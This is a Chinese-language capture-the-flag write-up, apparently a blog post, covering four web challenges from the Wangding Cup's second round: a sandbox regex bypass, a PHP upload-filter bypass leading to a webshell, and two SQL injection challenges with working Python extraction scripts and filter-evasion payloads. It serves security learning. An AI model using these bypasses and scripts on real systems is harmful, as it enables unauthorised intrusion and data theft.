Close

[网鼎杯] 第二场web writeup

网鼎杯 第二场 web writeup

向信安之路的老哥要了一个账号,赛后开始做题

web

calc


可以这个计算机很厉害
既然说一定要写好正则,说明正则很重要
感觉是道沙箱逃逸题正好学习一下
可是怎么绕过正则
https://www.anquanke.com/post/id/85571
他没有最后的$,所以后面应该可以输入很多字符,截止


来了一个int和不能str相加,name把后面的换成int呢
答案直接出来了。还行=。=
试了一下发现直接那个不行的原因是因为我加了一个回车,如果不加回车就可以了

这样就可以了=。=

wafUpload

进图给源码真棒

<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
    #mime check
    if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
        die('This type is not allowed!');
    }

    #check filename
    $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        die('This file is not allowed!');
    }

    $filename = reset($file) . '.' . $file[count($file) - 1];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
        echo 'Success!';
        echo 'filepath:' . $sandbox . '/' . $filename;
    } else {
        echo 'Failed!';
    }
}
show_source(__file__);
?>

先上传再说

黑人问号我给你jpg居然不允许=。=我看看源码

看了一下代码所以他是先看filename,我刚刚在上传的时候把filename改成了test,所以上传失败了

reset函数

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。


直接命名为jpg也是可以上传的
判断了这个$file是不是数组,是为了区别有没有取名字吧

突然想到in_array是弱类型判断,如果最后没有加上strict参数,漏洞估计在这

我觉得可以上传一个数组,filename[0]=xxx.php,filename[1]=000
然后构成一个xxx.php.00 利用apache的解析漏洞来实现shell试一试可是,上传上去的是个字符串无法实现。。
但是cout(\$file)-1和end是不一样的,如果filename[0]=xxx.php,filename[2]=000
那么filename[1]就为空了

ok,试一下
写进去了,掏出蚁剑
一直连不上才发现其实并没有写进去
再换个想法
命名为php.php/. 其实上传的还是php.php连上蚁剑,终于成功了。。


找到flag

unfinished

这个loli挺可爱

进去一看源码连个注册地方都没有,那么试一下register.php
果然在这
耶成功登录
???什么都没有,就只有一个adsl1234
找找有没有源码。。并没有
我猜测应该是二次注入,连给的信息都只有一个用户名,跟强网杯的应该差不对
从用户名下手
并没有成功,看样子不用16进制

逗号被过滤了


注进去了!
为什么是1呢。总不可能是盲注吧。既然注释符不能用就构造为真就好了
这样就可以了
解出来是web
那么继续

被过滤了,看样子不行,应该是空格不能存在吧
information_schema原来是这个被过滤了
必须要两次hex才可以把所有的数据拿出来一次不知道为啥不行=。=
脚本

import requests
import string
import re as r

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://9daeec995ba44773ba0af4a02d87163e89bcd352b4694337.game.ichunqiu.com/'

def register(email,username):
    url1 = url+'register.php' 
    data = dict(email = email, username = username,password = 'adsl1234')
    html = re.post(url1,data=data)
    html.encoding = 'utf-8'
    return html

def login(email):
    url2 = url+'login.php'
    data = dict(email = email,password = 'adsl1234')
    html = re.post(url2, data=data)
    html.encoding = 'utf-8'
    return html


f = ''
for j in range(0,17):
    payload = "0'^(select substr(hex(hex((select * from flag))) from {} for {}))^'0".format(int(j)*10+1,10)
    email = '{}@qq.com'.format(str(j)+'14')
    html = register(email,payload)
    # print html.text
    html = login(email)
    try:
        res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
        flag = res[0][1:].strip()
        print flag
        f += flag
        print f
        print f.decode('hex').decode('hex')
    except:
        print "problem"

sqlweb

既然说admin也拿不到flag=。=那肯定是注入咯
噗感觉很简单是一个盲注题
密码错误也会显示出来

现在要看看过滤了啥

太良心了!良心题过滤了啥都有
单引号没过滤就没啥问题
不能有空格没问题,可以用括号
先本地测试一下
成功了一半 if 和mid并没有过滤
那么空格用括号来绕过
逗号用from for来绕过
等号可以用strcmp,在测试一下
在处理一下空格
''^(strcmp(mid((select(username)from(users)where(id=1))from(1)for(1)),'c')
ok了
脚本,也只能注入password啥都被过滤了

突然发现strcmp也是有逗号的,只能用in函数了

import requests
import string

ch = string.ascii_lowercase+string.digits+'-}'+'{'

re = requests.session()
url = 'http://53b00b880684449d8b9784e95a0202e28dd6259b4ead4cda.game.ichunqiu.com/sql.php'

flag = ''
for i in range(1,100):
    for j in ch:
        payload = "admin'&&mid((passwd)from({})for(1))in('{}')/**/limit/**/1#".format(i,j)
        data = dict(uname=payload,passwd='adsl1234',submit='login')
        # print data
        html = re.post(url, data=data)
        # print html.text
        if 'passwd' in html.text:
            flag += j
            print flag
            break

出来admin的密码是admin123
然后登录显示要吴彦祖的账号密码
把上面的admin换成wuyanzu就可以了

Leave a Reply

Your email address will not be published. Required fields are marked *